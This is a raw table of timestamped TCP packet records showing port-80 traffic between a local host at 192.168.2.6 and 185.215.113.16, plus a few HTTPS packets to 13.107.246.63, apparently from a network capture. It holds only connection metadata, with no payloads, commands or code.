Nov 25, 2024 18:28:34.600029945 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.600097895 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.601133108 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.601146936 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.601162910 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.601186991 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.601252079 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.602118969 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.602130890 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.602179050 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.603171110 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.603184938 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.603245020 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.603883028 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.603894949 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.603940010 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.604145050 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.604280949 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.604322910 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.605238914 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.605252028 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.605298996 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.606024027 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.606035948 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.606081009 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.606451988 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.606590986 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.606645107 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.607269049 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.607528925 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.607616901 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.608124018 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.608383894 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.608566046 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.608941078 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.608952999 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.608992100 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.609671116 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.609914064 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.609961987 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.610639095 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.610656977 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.610882044 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.611361027 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.611371994 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.611671925 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.611849070 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.611929893 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.612008095 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.612008095 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.612864971 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.612875938 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.612952948 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.614186049 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.614197969 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.614207983 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.614238024 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.614315987 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.614968061 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.614998102 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.615009069 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.615086079 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.615801096 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.616054058 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.616107941 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.616396904 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.616723061 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.616817951 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.617178917 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.617259026 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.617343903 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.618200064 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.618215084 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.618252993 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.618822098 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.618834972 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.618875980 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.619537115 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.619580984 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.619724989 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.620445013 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.620457888 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.620625973 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.621469021 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.621491909 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.621659040 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.621742010 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.622457981 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.622554064 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.622620106 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.622639894 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.622684002 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.623337030 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.624095917 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.638040066 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.784532070 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.784714937 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.784725904 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.784768105 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.784959078 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.785062075 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.785435915 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.785495043 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.785558939 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.786272049 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.786420107 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.786565065 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.786761999 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.786901951 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.786989927 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.787528038 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.787741899 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.787879944 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.788243055 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.788459063 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.788554907 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.789036036 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.789180994 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.789233923 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.789845943 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.789961100 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.790090084 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.790585995 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.790724039 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.790826082 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.791306019 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.791452885 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.791511059 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.792131901 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.792259932 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.792318106 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.792859077 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.792979956 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.793108940 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.793720007 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.793734074 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.793771982 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.794327974 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.794452906 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.794517994 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.795108080 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.795367002 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.795429945 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.795875072 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.796070099 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.796142101 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.796664953 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.796778917 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.796852112 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.797446012 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.797542095 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.797583103 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.798276901 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.798342943 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.798428059 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.798932076 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.798975945 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.799024105 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.799750090 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.799889088 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.800039053 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.800450087 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.800602913 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.800719976 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.801310062 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.801367998 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.801412106 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.802021027 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.802087069 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.802126884 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.802846909 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.803009033 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.803081989 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.803812981 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.803828001 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.803886890 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.804537058 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.804604053 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.804666996 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.805394888 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.805485010 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.805571079 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.806068897 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.806142092 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.806211948 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.806674957 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.806792974 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.807328939 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.807395935 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.807432890 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.807503939 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.808124065 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.808247089 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.808444977 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.808854103 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.808974981 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.809139013 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.809602022 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.809746027 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.809784889 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.810352087 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.810415030 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.810466051 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.811361074 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.811566114 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.811640978 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.812439919 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.812577009 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.812649012 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.813824892 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.814125061 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.814312935 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.814748049 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.814958096 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.815010071 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.816011906 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.816226006 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.816297054 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.817104101 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.817127943 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.817244053 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.818082094 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.818581104 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.818841934 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.819046974 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.819067001 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.819127083 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.819127083 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.819770098 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.819782972 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.819833040 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.820456028 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.820532084 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.820599079 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.821170092 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.821228981 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.821284056 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.821921110 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.821934938 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.821985006 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.822820902 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.822882891 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.823018074 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.823621035 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.823718071 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.823775053 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.824172974 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.824259996 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.824417114 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.824704885 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.824774027 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.824809074 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.825320959 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.825373888 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.825458050 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.826042891 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.826064110 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.826112032 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.847655058 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.905627966 CET	443	49757	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.905715942 CET	443	49757	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.905838013 CET	49757	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.906064034 CET	49757	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.906088114 CET	443	49757	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.906112909 CET	49757	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.906119108 CET	443	49757	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.908942938 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.908973932 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.909096003 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.909617901 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.909627914 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.985977888 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.986054897 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.986186981 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.986279011 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.986291885 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.986335993 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.987029076 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.987163067 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.987240076 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.987859011 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.987956047 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.988066912 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.988641024 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.988708973 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.988770008 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.989276886 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.989435911 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.989480019 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.990067005 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.990199089 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.990281105 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.990849018 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.990994930 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.991058111 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.991621971 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.991739035 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.991796970 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.992407084 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.992468119 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.992583990 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.993141890 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.993278980 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.993374109 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.993891954 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.993980885 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.994070053 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.994662046 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.994816065 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.994900942 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.995417118 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.995527029 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.995568037 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.996172905 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.996309042 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.996386051 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.997088909 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.997101068 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.997168064 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.997697115 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.997925997 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.998040915 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.998528004 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.998655081 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.998708010 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.999403954 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.999578953 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.999629021 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.999953032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.000051022 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.000098944 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.000758886 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.000852108 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.001233101 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.001486063 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.001553059 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.001605034 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.002321005 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.002362967 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.002510071 CET	49752	80	192.168.2.6	185.215.113.16
